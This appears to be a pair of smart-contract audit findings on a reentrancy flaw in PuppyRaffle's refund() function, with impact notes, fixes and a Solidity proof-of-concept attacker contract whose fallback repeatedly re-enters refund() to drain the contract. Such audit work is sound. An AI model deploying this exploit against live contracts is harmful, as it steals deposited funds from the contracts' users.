Severity: High
Likelihood: High
Impact: High
The refund() function violates the Checks-Effects-Interactions (CEI) pattern. It sends ETH to msg.sender on line 101 before zeroing out the player's slot in the players array on line 103. This ordering allows a malicious contract to re-enter refund() in its receive() fallback during the ETH transfer, calling it repeatedly before their slot is ever cleared — draining the contract of all funds.
An attacker who has entered the raffle can repeatedly call refund() from a malicious contract, receiving the entranceFee on every re-entry iteration until the entire contract balance is drained. Every legitimate player loses their deposited ETH. The protocol is completely emptied in a single transaction.
The attack was verified live on a local Anvil node. Two deployable contracts power the exploit:
1. Attacker contract (src/ReentrancyAttacker.sol) — the malicious trap that re-enters refund() on every ETH receive:
2. Attack script (script/AttackReentrancy.sol) — deploys the attacker and executes the drain in two on-chain transactions:
3. Forge unit test (test/PuppyRaffleTest.t.sol) — automated proof with balance assertions:
To reproduce on a local Anvil node:
Observed on-chain results:
| Before Attack | After Attack | |
|---|---|---|
| PuppyRaffle balance | 4 ETH (4 honest players) | 0 ETH |
Attacker contract (0x7ef8...174B) |
0 ETH | 5 ETH (stole all funds) |
| Forge test result | — | [PASS] test_reentrancyRefundDrainsContract() |
The attack executes in 2 transactions: one to deploy the attacker contract, one to trigger the recursive drain — all before selectWinner() can ever run.
Apply the Checks-Effects-Interactions pattern: zero out the player's slot before sending ETH.
Alternatively, add OpenZeppelin's ReentrancyGuard and apply the nonReentrant modifier:
## Description The `PuppyRaffle::refund()` function doesn't have any mechanism to prevent a reentrancy attack and doesn't follow the Check-effects-interactions pattern ## Vulnerability Details ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); payable(msg.sender).sendValue(entranceFee); players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); } ``` In the provided PuppyRaffle contract is potentially vulnerable to reentrancy attacks. This is because it first sends Ether to msg.sender and then updates the state of the contract.a malicious contract could re-enter the refund function before the state is updated. ## Impact If exploited, this vulnerability could allow a malicious contract to drain Ether from the PuppyRaffle contract, leading to loss of funds for the contract and its users. ```javascript PuppyRaffle.players (src/PuppyRaffle.sol#23) can be used in cross function reentrancies: - PuppyRaffle.enterRaffle(address[]) (src/PuppyRaffle.sol#79-92) - PuppyRaffle.getActivePlayerIndex(address) (src/PuppyRaffle.sol#110-117) - PuppyRaffle.players (src/PuppyRaffle.sol#23) - PuppyRaffle.refund(uint256) (src/PuppyRaffle.sol#96-105) - PuppyRaffle.selectWinner() (src/PuppyRaffle.sol#125-154) ``` ## POC <details> ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; import "./PuppyRaffle.sol"; contract AttackContract { PuppyRaffle public puppyRaffle; uint256 public receivedEther; constructor(PuppyRaffle _puppyRaffle) { puppyRaffle = _puppyRaffle; } function attack() public payable { require(msg.value > 0); // Create a dynamic array and push the sender's address address[] memory players = new address[](1); players[0] = address(this); puppyRaffle.enterRaffle{value: msg.value}(players); } fallback() external payable { if (address(puppyRaffle).balance >= msg.value) { receivedEther += msg.value; // Find the index of the sender's address uint256 playerIndex = puppyRaffle.getActivePlayerIndex(address(this)); if (playerIndex > 0) { // Refund the sender if they are in the raffle puppyRaffle.refund(playerIndex); } } } } ``` we create a malicious contract (AttackContract) that enters the raffle and then uses its fallback function to repeatedly call refund before the PuppyRaffle contract has a chance to update its state. </details> ## Recommendations To mitigate the reentrancy vulnerability, you should follow the Checks-Effects-Interactions pattern. This pattern suggests that you should make any state changes before calling external contracts or sending Ether. Here's how you can modify the refund function: ```javascript function refund(uint256 playerIndex) public { address playerAddress = players[playerIndex]; require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund"); require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active"); // Update the state before sending Ether players[playerIndex] = address(0); emit RaffleRefunded(playerAddress); // Now it's safe to send Ether (bool success, ) = payable(msg.sender).call{value: entranceFee}(""); require(success, "PuppyRaffle: Failed to refund"); } ``` This way, even if the msg.sender is a malicious contract that tries to re-enter the refund function, it will fail the require check because the player's address has already been set to address(0).Also we changed the event is emitted before the external call, and the external call is the last step in the function. This mitigates the risk of a reentrancy attack.
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